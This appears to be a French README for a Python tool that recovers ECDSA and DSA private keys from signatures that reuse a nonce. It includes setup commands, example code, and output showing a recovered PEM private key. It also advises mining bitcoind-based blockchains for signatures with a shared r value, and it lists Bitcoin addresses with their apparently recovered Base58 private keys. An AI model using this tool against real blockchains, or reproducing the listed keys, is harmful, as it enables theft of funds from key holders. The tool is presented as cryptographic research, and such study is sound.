ecdsa-key-recovery

Effectuer des attaques de récupération de clé privée par réutilisation de nonce ECDSA et DSA

Un outil de recherche cryptographique pour analyser les vulnérabilités de signatures

Récupérons la clé privée pour deux signatures partageant le même nonce k. Notez que le choix du même nonce k entraîne que les deux signatures ont une valeur de signature r identique. Pour trouver de bons candidats pour une vérification de réutilisation de nonce ECDSA, recherchez des signatures partageant le même r, pubkey sur curve pour différents messages (ou hachages). Par exemple, les projets blockchain basés sur bitcoind sont généralement de bonnes sources de matériel de signature ECDSA.

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # même privkey que sampleA, r identique en raison de la réutilisation du nonce k.

# récupérer la clé privée
sampleA.recover_nonce_reuse(sampleB)  # remplit sampleA avec la clé privée récupérée, prête à l'emploi
print sampleA.privkey 

configuration

Python 2.x :

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x :

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Récupération de clés privées à partir de la blockchain Bitcoin

tools/README.md

Adresse BTC	Privkey Base58	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

Exemple

créer des objets de signature récupérables :

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# spécifier la courbe
curve = ecdsa.SECP256k1

# créer un objet pubkey ecdsa standard à partir d'une chaîne encodée en hexadécimal
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# créer les objets de signature récupérables sampleA et sampleB.
# r long, s long, hachage bytestr, objet pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# clé pas encore récupérée
assert (sampleA.x is None)     

récupérer la clé privée pour sampleA

# tenter de récupérer la clé - cet objet mis à jour sampleA
sampleA.recover_nonce_reuse(sampleB)    # récupérer la clé privée partagée avec sampleB
assert (sampleA.x is not None)          # vérifier que la récupération de la clé privée a réussi. Cela nous donne un objet de clé privée ECDSA prêt à l'emploi
assert sampleA.privkey

sortie

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - récupération de la clé privée à partir de la réutilisation du nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Clé privée récupérée !
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - récupération de la clé privée à partir de la réutilisation du nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Clé privée récupérée !
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----